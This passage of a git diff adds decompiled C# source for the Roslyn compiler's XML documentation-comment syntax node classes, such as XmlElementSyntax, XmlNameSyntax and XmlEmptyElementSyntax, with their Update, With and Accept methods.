startQuoteToken, Cref, EndQuoteToken); + } + + public XmlCrefAttributeSyntax WithCref(CrefSyntax cref) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, EqualsToken, StartQuoteToken, cref, EndQuoteToken); + } + + internal override XmlAttributeSyntax WithEndQuoteTokenCore(SyntaxToken endQuoteToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndQuoteToken(endQuoteToken); + } + + public new XmlCrefAttributeSyntax WithEndQuoteToken(SyntaxToken endQuoteToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, EqualsToken, StartQuoteToken, Cref, endQuoteToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlElementEndTagSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlElementEndTagSyntax.cs new file mode 100644 index 0000000..c2cd653 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlElementEndTagSyntax.cs @@ -0,0 +1,89 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlElementEndTagSyntax : CSharpSyntaxNode +{ + private XmlNameSyntax? name; + + public SyntaxToken LessThanSlashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlElementEndTagSyntax)(object)((SyntaxNode)this).Green).lessThanSlashToken, ((SyntaxNode)this).Position, 0); + + public XmlNameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 1); + + public SyntaxToken GreaterThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlElementEndTagSyntax)(object)((SyntaxNode)this).Green).greaterThanToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal XmlElementEndTagSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref name, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)name; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlElementEndTag(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlElementEndTag(this); + } + + public XmlElementEndTagSyntax Update(SyntaxToken lessThanSlashToken, XmlNameSyntax name, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (lessThanSlashToken != LessThanSlashToken || name != Name || greaterThanToken != GreaterThanToken) + { + XmlElementEndTagSyntax xmlElementEndTagSyntax = SyntaxFactory.XmlElementEndTag(lessThanSlashToken, name, greaterThanToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlElementEndTagSyntax; + } + return xmlElementEndTagSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlElementEndTagSyntax WithLessThanSlashToken(SyntaxToken lessThanSlashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(lessThanSlashToken, Name, GreaterThanToken); + } + + public XmlElementEndTagSyntax WithName(XmlNameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanSlashToken, name, GreaterThanToken); + } + + public XmlElementEndTagSyntax WithGreaterThanToken(SyntaxToken greaterThanToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanSlashToken, Name, greaterThanToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlElementStartTagSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlElementStartTagSyntax.cs new file mode 100644 index 0000000..63c66a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlElementStartTagSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlElementStartTagSyntax : CSharpSyntaxNode +{ + private XmlNameSyntax? name; + + private SyntaxNode? attributes; + + public SyntaxToken LessThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlElementStartTagSyntax)(object)((SyntaxNode)this).Green).lessThanToken, ((SyntaxNode)this).Position, 0); + + public XmlNameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 1); + + public SyntaxList Attributes => new SyntaxList(((SyntaxNode)this).GetRed(ref attributes, 2)); + + public SyntaxToken GreaterThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlElementStartTagSyntax)(object)((SyntaxNode)this).Green).greaterThanToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal XmlElementStartTagSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref name, 1), + 2 => ((SyntaxNode)this).GetRed(ref attributes, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => name, + 2 => attributes, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlElementStartTag(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlElementStartTag(this); + } + + public XmlElementStartTagSyntax Update(SyntaxToken lessThanToken, XmlNameSyntax name, SyntaxList attributes, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken != LessThanToken || name != Name || attributes != Attributes || greaterThanToken != GreaterThanToken) + { + XmlElementStartTagSyntax xmlElementStartTagSyntax = SyntaxFactory.XmlElementStartTag(lessThanToken, name, attributes, greaterThanToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlElementStartTagSyntax; + } + return xmlElementStartTagSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlElementStartTagSyntax WithLessThanToken(SyntaxToken lessThanToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(lessThanToken, Name, Attributes, GreaterThanToken); + } + + public XmlElementStartTagSyntax WithName(XmlNameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, name, Attributes, GreaterThanToken); + } + + public XmlElementStartTagSyntax WithAttributes(SyntaxList attributes) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, Name, attributes, GreaterThanToken); + } + + public XmlElementStartTagSyntax WithGreaterThanToken(SyntaxToken greaterThanToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, Name, Attributes, greaterThanToken); + } + + public XmlElementStartTagSyntax AddAttributes(params XmlAttributeSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributes(Attributes.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlElementSyntax.cs new file mode 100644 index 0000000..3528247 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlElementSyntax.cs @@ -0,0 +1,108 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlElementSyntax : XmlNodeSyntax +{ + private XmlElementStartTagSyntax? startTag; + + private SyntaxNode? content; + + private XmlElementEndTagSyntax? endTag; + + public XmlElementStartTagSyntax StartTag => ((SyntaxNode)this).GetRedAtZero(ref startTag); + + public SyntaxList Content => new SyntaxList(((SyntaxNode)this).GetRed(ref content, 1)); + + public XmlElementEndTagSyntax EndTag => ((SyntaxNode)this).GetRed(ref endTag, 2); + + internal XmlElementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref startTag), + 1 => ((SyntaxNode)this).GetRed(ref content, 1), + 2 => ((SyntaxNode)this).GetRed(ref endTag, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => startTag, + 1 => content, + 2 => endTag, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlElement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlElement(this); + } + + public XmlElementSyntax Update(XmlElementStartTagSyntax startTag, SyntaxList content, XmlElementEndTagSyntax endTag) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (startTag != StartTag || content != Content || endTag != EndTag) + { + XmlElementSyntax xmlElementSyntax = SyntaxFactory.XmlElement(startTag, content, endTag); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlElementSyntax; + } + return xmlElementSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlElementSyntax WithStartTag(XmlElementStartTagSyntax startTag) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(startTag, Content, EndTag); + } + + public XmlElementSyntax WithContent(SyntaxList content) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(StartTag, content, EndTag); + } + + public XmlElementSyntax WithEndTag(XmlElementEndTagSyntax endTag) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(StartTag, Content, endTag); + } + + public XmlElementSyntax AddStartTagAttributes(params XmlAttributeSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithStartTag(StartTag.WithAttributes(StartTag.Attributes.AddRange((IEnumerable)items))); + } + + public XmlElementSyntax AddContent(params XmlNodeSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithContent(Content.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlEmptyElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlEmptyElementSyntax.cs new file mode 100644 index 0000000..a685910 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlEmptyElementSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlEmptyElementSyntax : XmlNodeSyntax +{ + private XmlNameSyntax? name; + + private SyntaxNode? attributes; + + public SyntaxToken LessThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlEmptyElementSyntax)(object)((SyntaxNode)this).Green).lessThanToken, ((SyntaxNode)this).Position, 0); + + public XmlNameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 1); + + public SyntaxList Attributes => new SyntaxList(((SyntaxNode)this).GetRed(ref attributes, 2)); + + public SyntaxToken SlashGreaterThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlEmptyElementSyntax)(object)((SyntaxNode)this).Green).slashGreaterThanToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal XmlEmptyElementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref name, 1), + 2 => ((SyntaxNode)this).GetRed(ref attributes, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => name, + 2 => attributes, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlEmptyElement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlEmptyElement(this); + } + + public XmlEmptyElementSyntax Update(SyntaxToken lessThanToken, XmlNameSyntax name, SyntaxList attributes, SyntaxToken slashGreaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken != LessThanToken || name != Name || attributes != Attributes || slashGreaterThanToken != SlashGreaterThanToken) + { + XmlEmptyElementSyntax xmlEmptyElementSyntax = SyntaxFactory.XmlEmptyElement(lessThanToken, name, attributes, slashGreaterThanToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlEmptyElementSyntax; + } + return xmlEmptyElementSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlEmptyElementSyntax WithLessThanToken(SyntaxToken lessThanToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(lessThanToken, Name, Attributes, SlashGreaterThanToken); + } + + public XmlEmptyElementSyntax WithName(XmlNameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, name, Attributes, SlashGreaterThanToken); + } + + public XmlEmptyElementSyntax WithAttributes(SyntaxList attributes) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, Name, attributes, SlashGreaterThanToken); + } + + public XmlEmptyElementSyntax WithSlashGreaterThanToken(SyntaxToken slashGreaterThanToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, Name, Attributes, slashGreaterThanToken); + } + + public XmlEmptyElementSyntax AddAttributes(params XmlAttributeSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributes(Attributes.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNameAttributeElementKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNameAttributeElementKind.cs new file mode 100644 index 0000000..0910311 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNameAttributeElementKind.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public enum XmlNameAttributeElementKind : byte +{ + Parameter, + ParameterReference, + TypeParameter, + TypeParameterReference +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNameAttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNameAttributeSyntax.cs new file mode 100644 index 0000000..30cb299 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNameAttributeSyntax.cs @@ -0,0 +1,142 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlNameAttributeSyntax : XmlAttributeSyntax +{ + private XmlNameSyntax? name; + + private IdentifierNameSyntax? identifier; + + public override XmlNameSyntax Name => ((SyntaxNode)this).GetRedAtZero(ref name); + + public override SyntaxToken EqualsToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameAttributeSyntax)(object)((SyntaxNode)this).Green).equalsToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken StartQuoteToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameAttributeSyntax)(object)((SyntaxNode)this).Green).startQuoteToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public IdentifierNameSyntax Identifier => ((SyntaxNode)this).GetRed(ref identifier, 3); + + public override SyntaxToken EndQuoteToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameAttributeSyntax)(object)((SyntaxNode)this).Green).endQuoteToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + internal XmlNameAttributeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref name), + 3 => ((SyntaxNode)this).GetRed(ref identifier, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => name, + 3 => identifier, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlNameAttribute(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlNameAttribute(this); + } + + public XmlNameAttributeSyntax Update(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, IdentifierNameSyntax identifier, SyntaxToken endQuoteToken) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (name != Name || equalsToken != EqualsToken || startQuoteToken != StartQuoteToken || identifier != Identifier || endQuoteToken != EndQuoteToken) + { + XmlNameAttributeSyntax xmlNameAttributeSyntax = SyntaxFactory.XmlNameAttribute(name, equalsToken, startQuoteToken, identifier, endQuoteToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlNameAttributeSyntax; + } + return xmlNameAttributeSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override XmlAttributeSyntax WithNameCore(XmlNameSyntax name) + { + return WithName(name); + } + + public new XmlNameAttributeSyntax WithName(XmlNameSyntax name) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(name, EqualsToken, StartQuoteToken, Identifier, EndQuoteToken); + } + + internal override XmlAttributeSyntax WithEqualsTokenCore(SyntaxToken equalsToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEqualsToken(equalsToken); + } + + public new XmlNameAttributeSyntax WithEqualsToken(SyntaxToken equalsToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, equalsToken, StartQuoteToken, Identifier, EndQuoteToken); + } + + internal override XmlAttributeSyntax WithStartQuoteTokenCore(SyntaxToken startQuoteToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithStartQuoteToken(startQuoteToken); + } + + public new XmlNameAttributeSyntax WithStartQuoteToken(SyntaxToken startQuoteToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, EqualsToken, startQuoteToken, Identifier, EndQuoteToken); + } + + public XmlNameAttributeSyntax WithIdentifier(IdentifierNameSyntax identifier) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, EqualsToken, StartQuoteToken, identifier, EndQuoteToken); + } + + internal override XmlAttributeSyntax WithEndQuoteTokenCore(SyntaxToken endQuoteToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndQuoteToken(endQuoteToken); + } + + public new XmlNameAttributeSyntax WithEndQuoteToken(SyntaxToken endQuoteToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, EqualsToken, StartQuoteToken, Identifier, endQuoteToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNameSyntax.cs new file mode 100644 index 0000000..e4872a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNameSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlNameSyntax : CSharpSyntaxNode +{ + private XmlPrefixSyntax? prefix; + + public XmlPrefixSyntax? Prefix => ((SyntaxNode)this).GetRedAtZero(ref prefix); + + public SyntaxToken LocalName => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlNameSyntax)(object)((SyntaxNode)this).Green).localName, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal XmlNameSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref prefix); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)prefix; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlName(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlName(this); + } + + public XmlNameSyntax Update(XmlPrefixSyntax? prefix, SyntaxToken localName) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (prefix != Prefix || localName != LocalName) + { + XmlNameSyntax xmlNameSyntax = SyntaxFactory.XmlName(prefix, localName); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlNameSyntax; + } + return xmlNameSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlNameSyntax WithPrefix(XmlPrefixSyntax? prefix) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(prefix, LocalName); + } + + public XmlNameSyntax WithLocalName(SyntaxToken localName) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Prefix, localName); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNodeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNodeSyntax.cs new file mode 100644 index 0000000..2b975d3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlNodeSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class XmlNodeSyntax : CSharpSyntaxNode +{ + internal XmlNodeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlPrefixSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlPrefixSyntax.cs new file mode 100644 index 0000000..fcf3265 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlPrefixSyntax.cs @@ -0,0 +1,70 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlPrefixSyntax : CSharpSyntaxNode +{ + public SyntaxToken Prefix => new 